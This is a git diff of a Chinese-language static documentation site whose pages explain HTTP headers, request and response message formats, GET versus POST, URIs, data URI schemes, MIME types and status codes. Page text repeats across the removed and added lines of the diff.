                            ETag请求变量的实体标签的当前值ETag: “737060cd8c284d8af7ad3082f209582d”

                            权限认证

                            报文形式首部字段名说明示例
                            通用Via代理服务器的相关信息Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
                            请求头Authorization用于验证用户代理身份的凭证Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
                            Proxy-Authorization代理服务器对客户端的认证信息Proxy-Authenticate: Basic realm="Access to the internal site"
                            响应头WWW-Authenticate服务器对客户端的认证信息WWW-Authenticate: Basic
                            Proxy-Authenticate用于指定代理服务器上的资源访问权限而采用的身份验证方式Proxy-Authenticate: Basic realm="Access to the internal site"

                            其他

                            首部字段名说明示例
                            Allow资源可支持的 HTTP 方法Allow: GET,HEAD
                            Trailer报文末端的首部一览Trailer: Max-Forwards
                            Transfer-Encoding指定报文主题的传输编码方式Transfer-Encoding:chunked
                            Location用来重定向接收方到非请求 URL 的位置来完成请求或标识新的资源Location: http://www.leixuesong.cn/724
                            Retry-After如果实体暂时不可取,通知客户端在指定时间之后再次尝试Retry-After: 120
                            ServerWeb 服务器的安装信息Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)

                            参考资料

                            - + diff --git a/computer-networks/http/http-message/index.html b/computer-networks/http/http-message/index.html index 3fb697e89..2cb031aeb 100644 --- a/computer-networks/http/http-message/index.html +++ b/computer-networks/http/http-message/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                            HTTP 报文格式

                            对于 TCP 而言,在传输的时候分为两个部分:TCP 头和数据部分。

                            而 HTTP 报文是面向文本的,报文中的每个字段都是一些 ASCII 码串,各个字段的长度是不确定的。HTTP 有两类报文:请求报文响应报文

                            HTTP 请求/响应报文由以下内容组成:

                            • 请求头
                            • HTTP 头部字段
                            • 空行
                            • 可选的 HTTP 报文主体数据

                            请求报文

                            HTTP 请求报文结构

                            HTTP 的请求报文分为三个部分:

                            • 请求行
                              • 请求方法
                              • 请求地址 URL
                              • HTTP 协议版本
                            • 首部行
                              • Content-Type
                            • 空行
                            • 实体主体

                            请求行

                            请求行是请求消息的第一行,由三部分组成:

                            • 请求方法(GET / POST / DELETE / PUT / HEAD)
                            • 请求资源的 URI 路径
                            • HTTP 的版本号

                            🌰 示例:

                            GET /index.html HTTP/1.1

                            请求方法

                            HTTP/1.1 协议中共定义了八种方法,以不同的方式操作指定的资源。

                            方法名功能
                            GET向指定的资源发出 显示 请求,使用 GET 方法应该只用在 读取数据 上,而不应该用于产生 副作用 的操作中。
                            POST指定资源 提交数据,请求服务器进行处理(例如提交表单或者上传文件)。数据被包含在请求文本中。这个请求可能会创建新的资源或者修改现有资源,或两者皆有。
                            PUT向指定资源位置上传其 最新内容
                            DELETE请求服务器删除 Request-URI 所标识的资源。
                            OPTIONS使服务器传回该 资源支持的所有 HTTP 请求方法。用 * 来代替资源名称,向 Web 服务器发送 OPTIONS 请求,可以测试服务器功能是否正常运作。
                            HEAD与 GET 方法一样,都是向服务器发出指定资源的请求,只不过服务器将 不传回资源的本文部分,它的好处在于,使用这个方法可以在不必传输全部内容的情况下,就可以获取其中 关于该资源的信息(原信息或称元数据)。
                            TRACE显示服务器收到的请求,主要用于测试或诊断。
                            CONNECTHTTP/1.1 中预留给能够将连接改为通道方式的代理服务器。通常用于 SSL 加密服务器的链接(经由非加密的 HTTP 代理服务器)。

                            其中,最常见的是 GET 和 POST 方法,如果是 RESful API 接口规范的话一般会用到 POST、DELETE、GET、PUT(分别对应增删查改),这里附上一篇有关 RESTful API 的文章  什么是 RESTful API

                            GET 与 POST

                            HTTP 协议从未规定 GET/POST 的请求长度限制是多少。对 GET 请求参数的限制是来源与浏览器或 Web 服务器,浏览器或 Web 服务器限制了 URL 的长度。

                            为了明确这个概念,我们必须再次强调下面几点:

                            • HTTP 协议 未规定 GET 和 POST 的长度限制
                            • GET 的最大长度显示是因为 浏览器和 Web 服务器限制了 URI 的长度
                            • 不同的浏览器和 Web 服务器,限制的最大长度不一样
                            • 要支持 IE,则最大长度为 2083byte,若只支持 Chrome,则最大长度 8182byte

                            性质

                            • GET 请求类似于查找的过程,用户获取数据,可以不用每次都与数据库连接,所以可以使用缓存
                            • POST 不同,POST 做的一般是修改和删除的工作,所以必须与数据库交互,所以不能使用缓存。因此 GET 请求适合于请求缓存

                            两种请求方法的对比

                            • 缓存 的角度,GET 请求会被浏览器主动缓存下来,留下历史记录,而 POST 默认不会。
                            • 编码 的角度,GET 只能进行 URL 编码,只能接收 ASCII 字符,中文需要 URL 编码,而 POST 没有限制。
                            • 参数 的角度,GET 一般放在 URL 中明文传输,因此不安全,而 POST 放在请求体中密文传输,更适合传输敏感信息。
                            • 幂等性 的角度,GET 是幂等的,而 POST 不是。(幂等表示执行相同的操作,结果也是相同的)
                            • TCP 的角度,GET 请求会把请求报文一次性发出去,而 POST 会分为两个 TCP 数据包,首先发 header 部分,如果服务器响应 100(continue), 然后发 body 部分。(火狐浏览器除外,它的 POST 请求只发一个 TCP 包)

                            GET 传输数据量限制在 2KB(GET 是通过 URL 提交数据,而 URL 本身对于数据没有限制,但是不同的浏览器对于 URL 是有限制的,比如 IE 浏览器对于 URL 的限制为 2KB,而 Chrome,FireFox 浏览器理论上对于 URL 是没有限制的,它真正的限制取决于操作系统本身),而 POST 对于数据大小是无限制的(真正影响到数据大小的是服务器处理程序的能力)。

                            请求头

                            请求头中的信息有和缓存相关的头(Cache-Control,If-Modified-Since)、客户端身份信息(User-Agent)等等。

                            请求头的格式为:键: 值,注意 冒号后面有一个空格

                            🌰 示例:

                            Accept: */*
                            Accept-Encoding: gzip, deflate, br
                            Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
                            Connection: keep-alive
                            Content-Length: 21429
                            Content-Type: application/json
                            Host: api.github.com
                            Origin: https://github.com
                            Referer: https://github.com/
                            User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

                            常见的请求 Header

                            请求头说明
                            Accept表示浏览器接受的数据类型
                            Accept-Encoding表示浏览器接受的数据压缩格式
                            Host表示当前请求访问的目标地址
                            Authorization表示用户身份认证信息
                            User-Agent表示浏览器类型
                            If-Modified-Since表示当前请求资源最近一次更新时间
                            If-None-Match表示当前请求资源最近一次标识的 ETag 值
                            Cookie表示浏览器保存的 Cookie 信息
                            Referer表示标识请求引用自哪个地址

                            请求体

                            请求体是 POST 请求方式中的请求参数,以 key = value 形式进行存储,多个请求参数之间用 & 连接,如果请求当中请求体,那么在请求头当中的 Content-Length 属性记录的就是该请求体的长度。

                            POST hysj.jsp HTTP/1.1
                            Host: search.cnipr.com
                            User-Agent: Mozilla/5.0 (Windows;U;Windows NT 6.9;zh-CN;rv:1.9.1.13)Gecko/20100914 Firefox/3.5.13 (.NET CLR 3.5.30729)
                            Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                            Accept-Language: zh-cn,zh;q=0.5
                            Accept-Encoding: gzip,deflate
                            Accept-Charst: GN2312,utf-8;q=0.7,*;q=0.7
                            Keep-Alive: 300
                            Connection: keep-alive
                            Referer: http://search.cnipr.com/cnipr/zljs/hyjs-biaodan-y.jsp
                            Content-Length: 405
                            -
                            pageNo=0&pageSize=10&orderNum=306735659327926273&customerMobile=15626000000&startTime=2019-02-01%2000:00:00&endTime=2019-02-25%2014:54:20&status=SUCCESS&source=WECHAT_SHOPPING&canteenId=104&refundStatus=REFUNDED&startPayTime=2019-02-01%2000:00:00&endPayTime=2019-02-25%2014:54:47

                            根据应用场景的不同,HTTP 请求的请求体有三种不同的形式:

                            1. 任意请求体:移动开发者常见的,请求体是任意类型的,服务器不会解析请求体,请求体的处理需要自己解析,如 POST、JSON 的时候就是这类
                            2. 查询字符串:URL 中 Query String 的格式要求,多个键值对之间用 & 连接,键与值之间用 = 连接,且只能用 ASCII 字符,非 ASCII 字符需使用 UrlEncode 编码
                            3. 文件上传:当需要实现 文件上传 时,请求体会被分成多个部分,每个字段 / 文件都被首部字段 Content-Typeboundary 指令指定的值分成单独的段,每段以 --boundary 指令的值开头,然后是该段的描述头,描述头之后空一行接内容,请求结束的标识为 boundary 后面加 --

                            HTTP 请求报文结构

                            区分是否被当成文件的关键是  Content-Disposition  是否包含  filename,因为文件有不同的类型,所以还要使用  Content-Type  指示文件的类型,如果不知道是什么类型取值可以为 application/octet-stream 表示文件是一个二进制的文件,如果不是文件则 Content-Type  可以省略。

                            响应报文

                            HTTP 响应报文结构

                            HTTP 响应的格式上除状态行(第一行)与请求报文的请求行不一样之外,其他的就格式而言是一样的,但排除状态行和请求行的区别,从 Header 上还是可以区分出 HTTP 请求和 HTTP 响应的区别的,怎么区别就要看前面的 Header。

                            HTTP 的响应报文分为三个部分:

                            • 状态行
                              • HTTP 协议版本
                              • 状态码
                              • 短语
                            • 首部行
                            • 空行
                            • 实体体

                            状态行

                            状态码用以表示网页服务器超文本传输协议响应状态的三位数字码。详细的状态码表请参考此处

                            状态码对应信息
                            1XX提示信息,表示请求已接收,继续处理
                            2XX用于表示请求已被成功接收、理解、接收
                            3XX用于表示资源(网页等)被永久转移到其它 URL,也就是所谓的重定向
                            4XX客户端错误—请求有语法错误或者请求无法实现
                            5XX服务器端错误—服务器未能实现合法的请求

                            响应头

                            响应头同样可用于传递一些附加信息。

                            HTTP/1.0 200 ok
                            content-type: application/javascript;charset=utf-8
                            date: Tue, 07 Mar 2017 03:06:14 GMT
                            sever: Domain Reliability Searver
                            content-length: 0
                            x-xss-protection: 1, mode=bloack
                            x-frame-options: SAMEORIGIN
                            alt-svc: quic=":443";ma=2592000;v="36,35,34"

                            常见的响应头 Header

                            名称作用
                            Date表示当前相应资源发送的服务器日期和时间
                            Last-Modified表示当前响应资源最后被修改的服务器时间
                            Transfer-Encoding表示当前响应资源传输实体的编码格式
                            Set-Cookie表示设置 Cookie 信息
                            Location在重定向中或者创建新资源时使用
                            Server表示服务器名称

                            响应体

                            响应体也就是网页的正文内容,一般在响应头中会用 Content-Length 来明确响应体的长度,便于浏览器接收,对于大数据量的正文信息,也会使用 chunked 的编码方式。

                            参考资料

                            +
                            pageNo=0&pageSize=10&orderNum=306735659327926273&customerMobile=15626000000&startTime=2019-02-01%2000:00:00&endTime=2019-02-25%2014:54:20&status=SUCCESS&source=WECHAT_SHOPPING&canteenId=104&refundStatus=REFUNDED&startPayTime=2019-02-01%2000:00:00&endPayTime=2019-02-25%2014:54:47

                            根据应用场景的不同,HTTP 请求的请求体有三种不同的形式:

                            1. 任意请求体:移动开发者常见的,请求体是任意类型的,服务器不会解析请求体,请求体的处理需要自己解析,如 POST、JSON 的时候就是这类
                            2. 查询字符串:URL 中 Query String 的格式要求,多个键值对之间用 & 连接,键与值之间用 = 连接,且只能用 ASCII 字符,非 ASCII 字符需使用 UrlEncode 编码
                            3. 文件上传:当需要实现 文件上传 时,请求体会被分成多个部分,每个字段 / 文件都被首部字段 Content-Typeboundary 指令指定的值分成单独的段,每段以 --boundary 指令的值开头,然后是该段的描述头,描述头之后空一行接内容,请求结束的标识为 boundary 后面加 --

                            HTTP 请求报文结构

                            区分是否被当成文件的关键是  Content-Disposition  是否包含  filename,因为文件有不同的类型,所以还要使用  Content-Type  指示文件的类型,如果不知道是什么类型取值可以为 application/octet-stream 表示文件是一个二进制的文件,如果不是文件则 Content-Type  可以省略。

                            响应报文

                            HTTP 响应报文结构

                            HTTP 响应的格式上除状态行(第一行)与请求报文的请求行不一样之外,其他的就格式而言是一样的,但排除状态行和请求行的区别,从 Header 上还是可以区分出 HTTP 请求和 HTTP 响应的区别的,怎么区别就要看前面的 Header。

                            HTTP 的响应报文分为三个部分:

                            状态行

                            状态码用以表示网页服务器超文本传输协议响应状态的三位数字码。详细的状态码表请参考此处

                            状态码对应信息
                            1XX提示信息,表示请求已接收,继续处理
                            2XX用于表示请求已被成功接收、理解、接收
                            3XX用于表示资源(网页等)被永久转移到其它 URL,也就是所谓的重定向
                            4XX客户端错误—请求有语法错误或者请求无法实现
                            5XX服务器端错误—服务器未能实现合法的请求

                            响应头

                            响应头同样可用于传递一些附加信息。

                            HTTP/1.0 200 ok
                            content-type: application/javascript;charset=utf-8
                            date: Tue, 07 Mar 2017 03:06:14 GMT
                            sever: Domain Reliability Searver
                            content-length: 0
                            x-xss-protection: 1, mode=bloack
                            x-frame-options: SAMEORIGIN
                            alt-svc: quic=":443";ma=2592000;v="36,35,34"

                            常见的响应头 Header

                            名称作用
                            Date表示当前相应资源发送的服务器日期和时间
                            Last-Modified表示当前响应资源最后被修改的服务器时间
                            Transfer-Encoding表示当前响应资源传输实体的编码格式
                            Set-Cookie表示设置 Cookie 信息
                            Location在重定向中或者创建新资源时使用
                            Server表示服务器名称

                            响应体

                            响应体也就是网页的正文内容,一般在响应头中会用 Content-Length 来明确响应体的长度,便于浏览器接收,对于大数据量的正文信息,也会使用 chunked 的编码方式。

                            参考资料

                            - + diff --git a/computer-networks/http/http-resource-and-uris/index.html b/computer-networks/http/http-resource-and-uris/index.html index d8b542a4c..33a9e23f5 100644 --- a/computer-networks/http/http-resource-and-uris/index.html +++ b/computer-networks/http/http-resource-and-uris/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP 资源标识 - JavaScript Guidebook -

                            HTTP 资源标识

                            统一资源标识符 URI

                            统一资源标志符(Uniform Resource Identifier,简称 URI)是一个用于标识(区分)互联网资源名称的字符串。该种标识允许用户对网络种的资源通过特定的协议进行交互操作。

                            URI 可以进一步分为 URLURN。URI 是以一种抽象的,高层次概念定义统一资源标识,而 URL 和 URN 则是具体的资源标识的方式。

                            通用的格式:

                            [scheme][://]user:passwd@[host:port][path][?query][#fragment]

                            编码方式

                            URI 只能使用 ASCII,ASCII 之外的字符是不支持显示的,而且还有一部分符号是界定符,如果不加以处理就会导致解析出错。

                            因此,URI 引入了 编码 机制,将所有 非 ASCII 码字符界定符 转为十六进制字节值,然后在前面加个 %

                            如:空格被转义成了 %20三元 被转义成了 %E4%B8%89%E5%85%83

                            方案或协议

                            http:// 告诉浏览器使用何种协议。对于大部分 Web 资源,通常使用 HTTP 协议或其安全版本 HTTPS 协议。

                            另外,浏览器也知道如何处理其他协议。例如,

                            • mailto:协议指示浏览器打开邮件客户端
                            • ftp:协议指示浏览器处理文件传输。

                            其他常见的方案有:

                            方案描述
                            dataData URIs
                            file指定主机上文件的名称
                            ftp文件传输协议
                            httphttps超文本传输 ​​ 协议/安全的超文本传输协议
                            mailto电子邮件地址
                            ssh安全 shell
                            tel电话
                            urn统一资源名称
                            view-source资源的源代码
                            ws/wssWebSocket 连接

                            主机

                            HTTP 主机

                            上述例子中 www.example.com 既是一个域名,也代表管理该域名的机构。它指示了需要向网络上的哪一台主机发起请求。当然,也可以直接向主机的 IP 地址发起请求。但直接使用 IP 地址的场景并不常见。

                            端口

                            HTTP 端口

                            :80 是端口。它表示用于访问 Web 服务器上资源的技术 。如果访问的该 Web 服务器使用 HTTP 协议的标准端口(HTTP 为 80,HTTPS 为 443)授予对其资源的访问权限,则通常省略此部分。否则端口就是 URI 必须的部分。

                            路径

                            HTTP 路径

                            /path/to/myfile.html 是 Web 服务器上资源的路径。

                            在 Web 的早期,类似这样的路径表示 Web 服务器上的物理文件位置。现在,它主要是由没有任何物理实体的 Web 服务器抽象处理而成的。

                            查询

                            HTTP 查询

                            ?key1=value1&key2=value2 是提供给 Web 服务器的额外参数。这些参数是用 & 符号分隔的键/值对列表。

                            Web 服务器可以在将资源返回给用户之前使用这些参数来执行额外的操作。每个 Web 服务器都有自己的参数规则,想知道特定 Web 服务器如何处理参数的唯一可靠方法是询问该 Web 服务器所有者。

                            片段

                            HTTP 查询

                            #SomewhereInTheDocument 是资源本身的某一部分的一个锚点。锚点代表资源内的一种 书签,它给予浏览器显示位于该 加书签 点的内容的指示。

                            例如,在 HTML 文档上,浏览器将滚动到定义锚点的那个点上;在视频或音频文档上,浏览器将转到锚点代表的那个时间。

                            值得注意的是 # 号后面的部分,也称为 片段标识符,永远不会与请求一起发送到服务器。

                            统一资源定位符 URL

                            统一资源定位符(Uniform Resource Locator,简称 URL)是 URI 最常见的形式,有时候也被俗称为网页地址(网址),如同是网络上的门牌,是因特网上标准的资源的地址。

                            https://developer.mozilla.org
                            https://developer.mozilla.org/en-US/docs/Learn/
                            https://developer.mozilla.org/en-US/search?q=URL

                            在浏览器的地址栏中输入上述任一地址,浏览器就会加载相应的网页(资源)。

                            URL 由多个必须或可选的组件构成。下面给出了一个复杂的 URL:

                            http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument

                            永久统一资源定位符 URN

                            永久统一资源定位符(Uniform Resource Name,简称 URN)是另一种形式的 URI,它通过特定命名空间中的唯一名称来标识资源。

                            urn:isbn:9780141036144
                            urn:ietf:rfc:7230

                            Data URI Scheme

                            Data URI Scheme,即前缀为 data: 协议的 URI,其允许内容创建者向文档中嵌入小文件。

                            data:[<mediatype>][;charset=<charset>][;<encoding>],<encoded-data>

                            Data URI Scheme 由四个部分组成:

                            • 协议头 data::标识这个内容为 Data URI Scheme 资源
                            • MIME 类型(可选项):查看下方详细描述
                            • 源文本的字符集编码方式 [;charset=<charset>]:默认编码是 charset=US-ASCII,即数据部分的每个字符都会自动编码为 %xx
                            • 数据编码方式 [;<encoding>]:默认 US-ASCIIBASE64 两种
                            • 编码后的数据 <encoded data>

                            使用 Data URI Scheme 的优劣势

                            • 优势
                              • 减少 HTTP 请求
                              • 当访问外部资源很麻烦或受限时(例如资源服务器 IP 被禁用)
                              • 当图片是在服务端用程序动态生成,每个访问用户显示均不同
                              • 当图片的体积比较小,占用 HTTP 会话性价比不高
                              • 没有图片更新要重新上传,还要清理缓存的问题
                            • 劣势
                              • Base64 编码的数据体积通常为原数据的 4/3,也就是 Data URI Scheme 形式的图片会比二进制格式的图片体积大 1/3
                              • Data URI Scheme 形式的图片不会被浏览器缓存,意味着每次访问页面都需要被重新加载
                              • 不适合用于懒加载中
                              • 移动端性能优先并不适宜用 Data URI Scheme 技术,解码耗费 CPU

                            应用场景

                            在 HTML 的 Img 标签中使用

                            <img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />

                            在 HTML 的外链样式文件使用

                            <link type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq" />

                            在 HTML 的外链脚本文件使用

                            <link type="text/javascript" href="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq" />

                            在 CSS 的 background-image 属性中使用

                            img {
                            width: 100px;
                            height: 100px;
                            background-image: url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...);
                            }

                            MIME 类型

                            媒体类型(Multipurpose Internet Mail Extensions,简称 MIME 类型)是一种标准,用于表示文档、文件或字节流的性质和格式。在 HTTP 中,HTTP 会从 MIME 类型中取部分标记报文 Body 部分的数据类型,这些类型体现在 Content-Type 这个字段,当然这是针对于发送端而言的,接收端想要收到特定类型的数据,也可以使用 Accept 字段。

                            浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理文档。因此服务器设置正确以将正确的 MIME 类型附加到响应对象的头部是非常重要的。

                            MIME 类型对大小写不敏感,但是传统写法都是小写。

                            独立类型

                            类型描述示例
                            text表明文件是普通文件,理论上是人类可读的text/plain
                            text/html
                            text/css
                            text/javascript
                            image表明文件某种是图像文件,GIF 动态图也属于 image 属性image/gif
                            image/png
                            image/jpeg
                            image/bmp
                            image/webp
                            iamge/x-icon
                            image/vnd.microsoft.icon
                            image/svg+xml
                            audio表明文件是某种音频文件audio/midi
                            audio/mpeg
                            audio/webm
                            audio/ogg
                            audio/wav
                            video表明文件是某种视频文件video/webm
                            video/ogg
                            application表明文件是某种二进制数据application/octet-stream
                            application/pkcs12
                            application/vnd.mspowerpoint
                            application/xhtml+xml
                            application/xml
                            application/pdf

                            复合类型

                            multipart/form-data
                            multipart/byteranges

                            Multipart 类型表示细分领域的文件类型的种类,经常对于不同的 MIME 类型。这是复合文件的一种表现方式。

                            • multipart/form-data:用于联系 HTML Forms 和 POST 方法
                            • multipart/byteranges:使用状态码 206 Partial Content 来发送整个文件的子集,而 HTTP 对不能处理的复合文件使用特殊的方式,将信息直接传送给浏览器

                            multipart/form-data 可用于 HTML 表单从浏览器发送信息给服务器。作为多部分文档格式,它由边界线(由 -- 开始的字符串)划分出的不同部分组成。每个部分有自己的实体,以及自己的 HTTP 请求头,Content-DispositionContent-Type 用于文件上传领域。

                            MIME 嗅探

                            在却是 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行 MIME 嗅探。每个浏览器在不同的情况下会执行不同的操作。因为这个操作会有一些安全问题,有的 MIME 类型表示可执行内容而有些是不可执行内容。浏览器可以通过请求头 Content-Type 来设置 X-Content-Type-Options 以阻止 MIME 嗅探。

                            +

                            HTTP 资源标识

                            统一资源标识符 URI

                            统一资源标志符(Uniform Resource Identifier,简称 URI)是一个用于标识(区分)互联网资源名称的字符串。该种标识允许用户对网络种的资源通过特定的协议进行交互操作。

                            URI 可以进一步分为 URLURN。URI 是以一种抽象的,高层次概念定义统一资源标识,而 URL 和 URN 则是具体的资源标识的方式。

                            通用的格式:

                            [scheme][://]user:passwd@[host:port][path][?query][#fragment]

                            编码方式

                            URI 只能使用 ASCII,ASCII 之外的字符是不支持显示的,而且还有一部分符号是界定符,如果不加以处理就会导致解析出错。

                            因此,URI 引入了 编码 机制,将所有 非 ASCII 码字符界定符 转为十六进制字节值,然后在前面加个 %

                            如:空格被转义成了 %20三元 被转义成了 %E4%B8%89%E5%85%83

                            方案或协议

                            http:// 告诉浏览器使用何种协议。对于大部分 Web 资源,通常使用 HTTP 协议或其安全版本 HTTPS 协议。

                            另外,浏览器也知道如何处理其他协议。例如,

                            • mailto:协议指示浏览器打开邮件客户端
                            • ftp:协议指示浏览器处理文件传输。

                            其他常见的方案有:

                            方案描述
                            dataData URIs
                            file指定主机上文件的名称
                            ftp文件传输协议
                            httphttps超文本传输 ​​ 协议/安全的超文本传输协议
                            mailto电子邮件地址
                            ssh安全 shell
                            tel电话
                            urn统一资源名称
                            view-source资源的源代码
                            ws/wssWebSocket 连接

                            主机

                            HTTP 主机

                            上述例子中 www.example.com 既是一个域名,也代表管理该域名的机构。它指示了需要向网络上的哪一台主机发起请求。当然,也可以直接向主机的 IP 地址发起请求。但直接使用 IP 地址的场景并不常见。

                            端口

                            HTTP 端口

                            :80 是端口。它表示用于访问 Web 服务器上资源的技术 。如果访问的该 Web 服务器使用 HTTP 协议的标准端口(HTTP 为 80,HTTPS 为 443)授予对其资源的访问权限,则通常省略此部分。否则端口就是 URI 必须的部分。

                            路径

                            HTTP 路径

                            /path/to/myfile.html 是 Web 服务器上资源的路径。

                            在 Web 的早期,类似这样的路径表示 Web 服务器上的物理文件位置。现在,它主要是由没有任何物理实体的 Web 服务器抽象处理而成的。

                            查询

                            HTTP 查询

                            ?key1=value1&key2=value2 是提供给 Web 服务器的额外参数。这些参数是用 & 符号分隔的键/值对列表。

                            Web 服务器可以在将资源返回给用户之前使用这些参数来执行额外的操作。每个 Web 服务器都有自己的参数规则,想知道特定 Web 服务器如何处理参数的唯一可靠方法是询问该 Web 服务器所有者。

                            片段

                            HTTP 查询

                            #SomewhereInTheDocument 是资源本身的某一部分的一个锚点。锚点代表资源内的一种 书签,它给予浏览器显示位于该 加书签 点的内容的指示。

                            例如,在 HTML 文档上,浏览器将滚动到定义锚点的那个点上;在视频或音频文档上,浏览器将转到锚点代表的那个时间。

                            值得注意的是 # 号后面的部分,也称为 片段标识符,永远不会与请求一起发送到服务器。

                            统一资源定位符 URL

                            统一资源定位符(Uniform Resource Locator,简称 URL)是 URI 最常见的形式,有时候也被俗称为网页地址(网址),如同是网络上的门牌,是因特网上标准的资源的地址。

                            https://developer.mozilla.org
                            https://developer.mozilla.org/en-US/docs/Learn/
                            https://developer.mozilla.org/en-US/search?q=URL

                            在浏览器的地址栏中输入上述任一地址,浏览器就会加载相应的网页(资源)。

                            URL 由多个必须或可选的组件构成。下面给出了一个复杂的 URL:

                            http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument

                            永久统一资源定位符 URN

                            永久统一资源定位符(Uniform Resource Name,简称 URN)是另一种形式的 URI,它通过特定命名空间中的唯一名称来标识资源。

                            urn:isbn:9780141036144
                            urn:ietf:rfc:7230

                            Data URI Scheme

                            Data URI Scheme,即前缀为 data: 协议的 URI,其允许内容创建者向文档中嵌入小文件。

                            data:[<mediatype>][;charset=<charset>][;<encoding>],<encoded-data>

                            Data URI Scheme 由四个部分组成:

                            • 协议头 data::标识这个内容为 Data URI Scheme 资源
                            • MIME 类型(可选项):查看下方详细描述
                            • 源文本的字符集编码方式 [;charset=<charset>]:默认编码是 charset=US-ASCII,即数据部分的每个字符都会自动编码为 %xx
                            • 数据编码方式 [;<encoding>]:默认 US-ASCIIBASE64 两种
                            • 编码后的数据 <encoded data>

                            使用 Data URI Scheme 的优劣势

                            • 优势
                              • 减少 HTTP 请求
                              • 当访问外部资源很麻烦或受限时(例如资源服务器 IP 被禁用)
                              • 当图片是在服务端用程序动态生成,每个访问用户显示均不同
                              • 当图片的体积比较小,占用 HTTP 会话性价比不高
                              • 没有图片更新要重新上传,还要清理缓存的问题
                            • 劣势
                              • Base64 编码的数据体积通常为原数据的 4/3,也就是 Data URI Scheme 形式的图片会比二进制格式的图片体积大 1/3
                              • Data URI Scheme 形式的图片不会被浏览器缓存,意味着每次访问页面都需要被重新加载
                              • 不适合用于懒加载中
                              • 移动端性能优先并不适宜用 Data URI Scheme 技术,解码耗费 CPU

                            应用场景

                            在 HTML 的 Img 标签中使用

                            <img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />

                            在 HTML 的外链样式文件使用

                            <link type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq" />

                            在 HTML 的外链脚本文件使用

                            <link type="text/javascript" href="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq" />

                            在 CSS 的 background-image 属性中使用

                            img {
                            width: 100px;
                            height: 100px;
                            background-image: url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...);
                            }

                            MIME 类型

                            媒体类型(Multipurpose Internet Mail Extensions,简称 MIME 类型)是一种标准,用于表示文档、文件或字节流的性质和格式。在 HTTP 中,HTTP 会从 MIME 类型中取部分标记报文 Body 部分的数据类型,这些类型体现在 Content-Type 这个字段,当然这是针对于发送端而言的,接收端想要收到特定类型的数据,也可以使用 Accept 字段。

                            浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理文档。因此服务器设置正确以将正确的 MIME 类型附加到响应对象的头部是非常重要的。

                            MIME 类型对大小写不敏感,但是传统写法都是小写。

                            独立类型

                            类型描述示例
                            text表明文件是普通文件,理论上是人类可读的text/plain
                            text/html
                            text/css
                            text/javascript
                            image表明文件某种是图像文件,GIF 动态图也属于 image 属性image/gif
                            image/png
                            image/jpeg
                            image/bmp
                            image/webp
                            iamge/x-icon
                            image/vnd.microsoft.icon
                            image/svg+xml
                            audio表明文件是某种音频文件audio/midi
                            audio/mpeg
                            audio/webm
                            audio/ogg
                            audio/wav
                            video表明文件是某种视频文件video/webm
                            video/ogg
                            application表明文件是某种二进制数据application/octet-stream
                            application/pkcs12
                            application/vnd.mspowerpoint
                            application/xhtml+xml
                            application/xml
                            application/pdf

                            复合类型

                            multipart/form-data
                            multipart/byteranges

                            Multipart 类型表示细分领域的文件类型的种类,经常对于不同的 MIME 类型。这是复合文件的一种表现方式。

                            • multipart/form-data:用于联系 HTML Forms 和 POST 方法
                            • multipart/byteranges:使用状态码 206 Partial Content 来发送整个文件的子集,而 HTTP 对不能处理的复合文件使用特殊的方式,将信息直接传送给浏览器

                            multipart/form-data 可用于 HTML 表单从浏览器发送信息给服务器。作为多部分文档格式,它由边界线(由 -- 开始的字符串)划分出的不同部分组成。每个部分有自己的实体,以及自己的 HTTP 请求头,Content-DispositionContent-Type 用于文件上传领域。

                            MIME 嗅探

                            在却是 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行 MIME 嗅探。每个浏览器在不同的情况下会执行不同的操作。因为这个操作会有一些安全问题,有的 MIME 类型表示可执行内容而有些是不可执行内容。浏览器可以通过请求头 Content-Type 来设置 X-Content-Type-Options 以阻止 MIME 嗅探。

                            - + diff --git a/computer-networks/http/http-status-code/index.html b/computer-networks/http/http-status-code/index.html index ba0af6369..a924ec1d7 100644 --- a/computer-networks/http/http-status-code/index.html +++ b/computer-networks/http/http-status-code/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HTTP 状态码 - JavaScript Guidebook -

                            HTTP 状态码

                            RFC 规定 HTTP 的状态码为三位数,被分为五类:

                            • 1xx:表示目前是协议处理的中间状态,还需要后续操作
                            • 2xx:表示成功状态
                            • 3xx:重定向状态,资源位置发生变动,需要重新请求
                            • 4xx:请求报文有误
                            • 5xx:服务端发生错误

                            1xx Informational 信息化

                            表示临时响应并需要请求者继续执行操作的状态代码。

                            状态码含义说明
                            100Continue继续)请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。
                            101Switching Protocols交换协议)请求者已要求服务器切换协议,服务器已确认并准备切换。
                            102Processing处理中)该代码表示服务器已经收到并正在处理请求,但无响应可用。[6]这样可以防止客户端超时,并假设请求丢失。

                            2xx Success 成功

